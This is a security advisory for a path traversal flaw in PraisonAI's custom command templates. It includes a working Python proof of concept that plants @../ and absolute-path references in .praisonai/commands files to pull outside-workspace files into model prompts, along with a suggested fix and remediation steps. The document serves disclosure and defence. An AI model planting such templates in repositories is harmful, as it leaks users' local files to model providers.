GHSA-xpx6-x8c2-mw5w: Path Traversal
Project custom command templates can read outside-workspace files into model prompts
Summary
PraisonAI's new file-based custom command feature auto-discovers project commands from .praisonai/commands/.md. When a user runs praisonai run --command <name> inside a repository, the command body is interpolated before it is sent as the model prompt.
The interpolation code expands @path references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include @../outsidesecret.txt or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.
This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.
Technical Details
The feature was introduced by commit 88cf0c29 (feat: file-based custom agents and reusable commands with auto-discovery (#2035)) and is present on current main:
text current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab current describe: v4.6.64-8-g3aa9cbc2
src/praisonai/praisonai/cli/features/customdefinitions.py discovers project-level definitions by walking upward from Path.cwd() to the git root and loading .praisonai/commands/.md. Project commands override user-global commands.
interpolatecommandtemplate() loads the selected command and passes the command body to the interpolator with Path.cwd() as the working directory:
python return interpolator.interpolate(command.template, arguments, Path.cwd())
TemplateInterpolator.interpolatefiles() then matches every @([^\s]+) token and reads the referenced file:
python if workingdir: filepath = workingdir / filepathstr else: filepath = Path(filepathstr)
if filepath.exists() and filepath.isfile(): with open(filepath, 'r') as f: return f.read()
There is no resolve() call and no containment check against the project root. In Python, Path.cwd() / "/absolute/path" returns the absolute path, and parent traversal such as ../outsidesecret.txt resolves outside the workspace when opened.
The sink is in src/praisonai/praisonai/cli/commands/run.py: the --command path calls interpolatecommandtemplate(), then passes the fully interpolated prompt to runprompt().
PoV
A minimal vulnerable repository only needs a project command template and an outside file:
text workspace/ .git/ .praisonai/ commands/ relativeescape.md # contains @../outsidesecret.txt absoluteescape.md # contains an absolute path outside workspace inside.txt outsidesecret.txt
When the operator runs the project command, PraisonAI discovers .praisonai/commands/.md, interpolates the template with Path.cwd() as the working directory, reads the outside file, and passes the resulting prompt to runprompt().
The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.
PoC
From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden PYTHONPATH setup is required.
bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 - "$PWD" <<'PY' from future import annotations
import importlib.util import json import os import subprocess import sys import tempfile import types from pathlib import Path
CANARY = "PRAISONAICUSTOMCOMMANDCANARY=outside-workspace"
def installyamlfallbackifneeded() -> str: if importlib.util.findspec("yaml") is not None: return "installed"
yamlstub = types.ModuleType("yaml")
class YAMLError(Exception): pass
def safeload(text: str): data = {} for rawline in text.splitlines(): line = rawline.strip() if not line or line.startswith("#") or ":" not in line: continue key, value = line.split(":", 1) data[key.strip()] = value.strip().strip("'\"") return data
yamlstub.safeload = safeload yamlstub.YAMLError = YAMLError sys.modules["yaml"] = yamlstub return "stubbed"
def addsourcetopath(sourceroot: Path) -> None: candidate = sourceroot / "src" / "praisonai" if (candidate / "praisonai").exists(): sys.path.insert(0, str(candidate)) return raise SystemExit(f"Could not find PraisonAI sources below {sourceroot}")
class pushd: def init(self, path: Path): self.path = path self.old = Path.cwd()
def enter(self): os.chdir(self.path)
def exit(self, exc): os.chdir(self.old)
def writecommand(commandsdir: Path, name: str, body: str) -> None: commandsdir.mkdir(parents=True, existok=True) (commandsdir / f"{name}.md").writetext( "---\n" f"description: {name}\n" "---\n" f"{body}\n", encoding="utf-8", )
sourceroot = Path(sys.argv[1]).resolve() yamldependency = installyamlfallbackifneeded() addsourcetopath(sourceroot)
from praisonai.cli.features.customdefinitions import interpolatecommandtemplate
with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp: temproot = Path(tmp).resolve() workspace = temproot / "workspace" workspace.mkdir() subprocess.run(["git", "init", "-q"], cwd=workspace, check=True)
inside = workspace / "inside.txt" outside = temproot / "outsidesecret.txt" inside.writetext("INSIDEFILE=allowed\n", encoding="utf-8") outside.writetext(f"{CANARY}\n", encoding="utf-8")
commandsdir = workspace / ".praisonai" / "commands" writecommand(commandsdir, "relativeescape", "Review outside:\n@../outsidesecret.txt") writecommand(commandsdir, "absoluteescape", f"Review absolute outside:\n@{outside}") writecommand(commandsdir, "insidecontrol", "Review inside:\n@inside.txt") writecommand(commandsdir, "missingcontrol", "Missing stays literal:\n@missing.txt") writecommand(commandsdir, "shellcontrol", "Shell substitution is escaped:\n$(touch SHOULDNOTEXIST)")
with pushd(workspace): relativeresult = interpolatecommandtemplate("relativeescape", "operator argument") absoluteresult = interpolatecommandtemplate("absoluteescape", "operator argument") insideresult = interpolatecommandtemplate("insidecontrol", "operator argument") missingresult = interpolatecommandtemplate("missingcontrol", "operator argument") shellresult = interpolatecommandtemplate("shellcontrol", "operator argument")
result = { "vulnerable": all( [ CANARY in (relativeresult or ""), CANARY in (absoluteresult or ""), "INSIDEFILE=allowed" in (insideresult or ""), "@missing.txt" in (missingresult or ""), not (workspace / "SHOULDNOTEXIST").exists(), ] ), "expectations": { "relativeparenttraversaldisclosesoutsidefile": CANARY in (relativeresult or ""), "absolutepathdisclosesoutsidefile": CANARY in (absoluteresult or ""), "insidecontrolexpandsworkspacefile": "INSIDEFILE=allowed" in (insideresult or ""), "missingcontrolleavesmissingreference": "@missing.txt" in (missingresult or ""), "shellcontroldoesnotcreatefile": not (workspace / "SHOULDNOTEXIST").exists(), }, "samples": { "relativeescape": relativeresult, "absoluteescape": absoluteresult, "insidecontrol": insideresult, "missingcontrol": missingresult, "shellcontrol": shellresult, }, "yamldependency": yamldependency, }
print(json.dumps(result, indent=2, sortkeys=True)) raise SystemExit(0 if result["vulnerable"] else 1) PY
Expected vulnerable output:
json { "expectations": { "absolutepathdisclosesoutsidefile": true, "insidecontrolexpandsworkspacefile": true, "missingcontrolleavesmissingreference": true, "relativeparenttraversaldisclosesoutsidefile": true, "shellcontroldoesnotcreatefile": true }, "samples": { "absoluteescape": "Review absolute outside:\nPRAISONAICUSTOMCOMMANDCANARY=outside-workspace\n", "insidecontrol": "Review inside:\nINSIDEFILE=allowed\n", "missingcontrol": "Missing stays literal:\n@missing.txt", "relativeescape": "Review outside:\nPRAISONAICUSTOMCOMMANDCANARY=outside-workspace\n", "shellcontrol": "Shell substitution is escaped:\n\\$(touch SHOULDNOTEXIST)" }, "vulnerable": true, "yamldependency": "installed" }
The PoC does not contact a model provider or any external service. It stops at the interpolation step that praisonai run --command uses before calling runprompt().
Impact
An attacker who can supply or modify a repository can add a project command such as .praisonai/commands/review.md containing @../outsidesecret.txt or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.
This report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.
Suggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.
Suggested CVSS 3.1 vector:
text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Relevant CWEs:
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Suggested Fix
Resolve command @path references through a single containment helper before opening files:
1. Resolve the project root or intended command workspace once. 2. For relative references, join to that root and then call resolve(). 3. For absolute references, either reject them outright or require resolved.relativeto(root) to succeed. 4. Reject escaped files before any exists(), isfile(), or open() operation. 5. Apply the same boundary to project and user command templates. 6. Add regression tests for @../outside.txt, @/absolute/outside.txt, a valid in-workspace file, a missing file, and shell-substitution escaping.
Minimal shape:
python def resolvecommandfile(root: Path, value: str) -> Path: root = root.resolve() candidate = Path(value) if not candidate.isabsolute(): candidate = root / candidate resolved = candidate.resolve() try: resolved.relativeto(root) except ValueError as exc: raise PermissionError(f"command file reference escapes workspace: {value}") from exc return resolved
Affected Package/Versions
The feature was introduced by commit 88cf0c29. Current release tags now contain that commit, and PyPI currently publishes praisonai through 4.6.71.
text introducing commit: 88cf0c29 earliest affected release observed: v4.6.65 latest affected release observed: v4.6.71 latest PyPI version checked: 4.6.71 unaffected sampled tag: v4.6.64 fixed version: none identified yet
Affected package entry:
text Ecosystem: pip Package: praisonai Vulnerable versions: >= 4.6.65 Patched versions: none yet
Advisory History
No checked PraisonAI private advisory matched .praisonai/commands/.md, praisonai.cli.features.customdefinitions, or custom command template @path interpolation.
The closest comparator is GHSA-2rcg-mm5h-xchx, arbitrary file read via @file: mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from .praisonai/commands/.md, not by a direct @file: mention path. The vulnerable code path here is TemplateInterpolator.interpolatefiles() in customdefinitions.py, introduced by 88cf0c29, and the sink is praisonai run --command.
Other checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.
References
- PraisonAI repository: https://github.com/MervinPraison/PraisonAI - Introducing commit 88cf0c29: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29 - Current tested commit 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab - Comparator advisory GHSA-2rcg-mm5h-xchx: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx - PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy - CWE-22: https://cwe.mitre.org/data/definitions/22.html - CWE-200: https://cwe.mitre.org/data/definitions/200.html
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaito a version that resolves this vulnerability.Fixed in 4.6.78 - Compensating control
In PraisonAI custom command template interpolation, resolve the project root or intended command workspace once and route every @path reference through a single containment check before any exists(), is_file(), or open() operation: join relative references to the root, call resolve(), require resolved.relative_to(root) to succeed, and reject absolute references outright or require the same containment check. Apply this boundary to both project and user command templates.
Event History
Frequently Asked Questions
Who is exposed to this issue?
Users who run `praisonai run --command <name>` inside an untrusted repository are exposed when that repository contains an auto-discovered `.praisonai/commands/*.md` command. The impact is limited to files readable by the PraisonAI process.
What must happen for exploitation?
A repository-controlled custom command must contain an `@path` reference that points outside the workspace, such as a parent-directory or absolute path. A user must then run that command; user interaction is required.
What data could be disclosed?
The command interpolation can read process-readable files outside the repository and include their contents in the generated model prompt. Those contents may then be sent to the model or provider that receives that prompt.